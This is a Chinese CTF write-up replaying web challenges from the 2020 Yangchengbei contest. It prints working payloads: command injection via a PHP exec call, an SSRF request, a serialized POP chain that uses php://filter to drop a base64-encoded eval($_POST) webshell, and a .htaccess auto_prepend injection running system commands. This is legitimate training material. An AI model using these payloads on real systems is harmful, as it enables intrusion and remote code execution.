2020羊城杯CTF web部分题目 复现

最近的2023羊城杯马上开赛 先复现一下之前的题

easycon

这道题只能说是个签到题 扫描网址得到index.php 然后要我们发送cmd

2020羊城杯CTF web部分题目 复现_第1张图片

直接蚁剑一把梭得到了bbb.txt文件

2020羊城杯CTF web部分题目 复现_第2张图片

下载后base64转图片就得到flag了

2020羊城杯CTF web部分题目 复现_第3张图片

当然这道题也可使用命令执行做

Blackcat

下载这个音乐文件

2020羊城杯CTF web部分题目 复现_第4张图片

用010打开可以发现源码

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){

    die('x');

}



$clandestine = getenv("clandestine");



if(isset($_POST['White-cat-monitor']))

    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);





$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);



if($hh !== $_POST['Black-Cat-Sheriff']){

    die('x');

}



echo exec("nc".$_POST['One-ear']);

//x替换中文 要不然会乱码

可以知道这里使用了hash_hmac()

2020羊城杯CTF web部分题目 复现_第5张图片

需传入三个参数Black-Cat-Sheriff,One-ear,White-cat-monitor,用环境变量clandestine的值作为key对White-cat-monitor值进行sha256哈希运算,得到的结果再作为key用来对One-ear值进行sha256哈希运算,结果与Black-Cat-Sheriff相等则成功执行命令。还用了echo,是有回显的,但是exec只返回命令执行结果的最后一行内容。

ls是多行显示,所以只能显示一行的内容

这里使用dir来显示文件夹内容

Payload:

Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir&White-cat-monitor[]=3

2020羊城杯CTF web部分题目 复现_第6张图片

发现flag.php文件 直接访问就行

Payload:Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=3

得到flag

2020羊城杯CTF web部分题目 复现_第7张图片

easyser

做这道题的时候我还以为环境出问题了 然后就扫描一下 得到robot.txt文件 访问得到star1.php文件

在源码发现了这个ser.php要用不安全的协议 那就是http协议了,要利用 SSRF 才能访问到 ser.php

我们尝试读取ser.php

Payload:

http://127.0.0.1/ser.php

然后f12得到源码

2020羊城杯CTF web部分题目 复现_第8张图片

简单审计一下,很明显这是要利用反序列化,可是没有反序列化入口,即没有unserialize(),这样构造的pop链就不能发挥作用 也就是找不到需要传参的参数

那我们可以使用arjun进行扫描传入的参数

2020羊城杯CTF web部分题目 复现_第9张图片

发现c参数应该就是我们需要传参的

然后我们开始写入序列化

代码如下:

 file = $file;

        $this -> text = $text;

    }}

$file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=cmd.php";$text = "PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4="; /* 的base64编码*/

$a = new GWHT();$a->hero = new Yongen($file,$text);echo serialize($a);?>

得到payload:

O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4=";}}

这里的伪协议使用的是php://fitter的死亡绕过exit

具体内容访问

https://blog.csdn.net/cosmoslin/article/details/120695429

file_put_content和死亡·杂糅代码之缘 - 先知社区

根据得到的序列化字符串构造 URL

path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

然后蚁剑一把梭就饿可以了

2020羊城杯CTF web部分题目 复现_第10张图片

总结知识点:

SSRF读取文件

php://filter以及死亡绕过

PHP反序列化

http参数扫描器 arjun

easyphp

2020羊城杯CTF web部分题目 复现_第11张图片

审计代码

  1. 访问index.php的时候会把除了index.php的文件都删除。2020羊城杯CTF web部分题目 复现_第12张图片
  2. 过滤一些对content上传的内容
  1. 对文件名进行了过来了,并不包括文件类型,那么我们就可以传一个.htaccess文件来写入shell

    2020羊城杯CTF web部分题目 复现_第13张图片

把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell

php_value auto_append_file .htaccess#

但是file被ban了 我们可以使用\来进行绕过 就变成

php_value auto_prepend_fil\ e .htaccess #\

末尾加个\是为了转义\n

那我们就可以写出payload(这里进行了url编码 如果不编码 传的时候不好传,最后的反斜杠后面不能有空格,有空格就转不了\):

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls%20/')%3B%3F%3E%5C

2020羊城杯CTF web部分题目 复现_第14张图片

直接cat /flag就行 但是flag被ban 我们使用\进行转义绕过

2020羊城杯CTF web部分题目 复现_第15张图片

得到flag

2020羊城杯CTF web部分题目 复现_第16张图片

总体来说题目还是比较可以的 学到了很多东西

你可能感兴趣的:(CTF,Web安全,web安全)